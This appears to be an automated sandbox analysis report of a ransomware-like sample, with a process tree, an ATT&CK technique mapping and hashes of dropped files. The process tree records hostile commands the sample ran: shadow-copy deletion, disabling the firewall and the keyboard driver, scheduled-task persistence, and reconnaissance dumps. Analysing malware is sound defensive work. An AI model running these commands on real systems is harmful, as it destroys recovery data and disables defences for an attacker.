C:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exe"3⤵PID:4236
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2300
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3004
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:2716
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2972
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4220
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1452
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:276 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:5024
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:200 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2900
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1244 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3364 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:2300
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5488
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5360 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:6088
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3980
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5104
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4416 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1920
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4748
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5280 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:2652
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2320
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1348
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4760
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a21055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:4300
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C:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exeC:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exe1⤵PID:1552
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C:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exeC:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exe1⤵PID:2888
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:6128
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 66KB
- SHA256 05e6619d3c6603c891a8ed13080adfb96a469a396554f1508c49e1b9bb239439
- MD5 ab1b43f2bdaca53b19c435d27a6666cd
- SHA1 67fa13a87b44a38df278fd400c753a96f0d0552c
- SHA512 456670cf7666e26e9914ee429aa89f20bfa80cc03346bf22379960e795d1d943d6231fcb64d1fb94a41f6b570fb1ddec526fc0914c03eee0a43bf7e64c73d194
- SSDEEP 1536:n2Rveo0zwn1+7cRMa3EJd7OrjWjoA9pWojXQQdGU4I13VxNtse8Em:ngvQzwnA81Erm+7BXQQoRIJVxNtse8Em
- TLSH T1326329334B23FDC5577F3D80F0A42E510C883A6B8775666CFBC90A6939A5284DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vincpjlj.3ya.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 243B
- SHA256 f78ecf8190ae2e653b37fd4456a04dc800400fecb2a540cc9f2f05a9884a8eb6
- MD5 0f1828b4f6d7e98dc521b2adf2ef25aa
- SHA1 e99481d02058fede3265bf578ed0028bd6296f86
- SHA512 f1795e6780ffc4a574e9a4f9a23fdd2647b8395ff7c6fde9a9867f49de7f009f2f14dfd240ef766d285b0086b5a822a5e9daeafadc1d24ba75aac7a3ceca00a5
- TLSH T1B1D0A78BB24DC6A90001623B81F3CE9DE5A548293B5BBEA04AA5DD4E329088489F6553
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 244B
- SHA256 7c9a7eb1472312d91b6acc0d6dda8e155f248fbee9c9bd3b2112541409cd8f3a
- MD5 57233bad17272cbc83f0c97a5cf1ccef
- SHA1 bdc2a0672247ef61e7846b2f6e670dce712db390
- SHA512 529c0d907c83b54d37563cef460d4be43af56701c8d84850c04497d6d78a65373636a09adb27a9dad2d185057b11437486f26c01aaf146f9ad40fccf3101ab63
- TLSH T175D0A78BB24DC6A90001623B80F3CE9DE6E548293F6BBE609A65DD0E328088489F6553
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 00af763f1904497a1d4f0f924b2d1510e007d24134493cd4fa44da3f8a064f1e
- MD5 693d065cc61c84818996ee57815e5ae4
- SHA1 4987e38c00b57f733fdaf8e817e62386b0cc3bb8
- SHA512 47c523fcd8e1a33656f5eb7854ab098cd58829f09049f336112afbb0f3002d92ae5f6b2c79517933b6fe16322d431283b640e66622b74052acff38f21b6f5805
- SSDEEP 1536:H2Rveo0zwn1+7cRMa3EJd7OrjWjoA9pWojXQQdGU4I13VxNtse8En:HgvQzwnA81Erm+7BXQQoRIJVxNtse8En
- TLSH T180632A334B23FDC5577F3D80F1942E920C883A6787B5666CFBC90A5938A5288DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH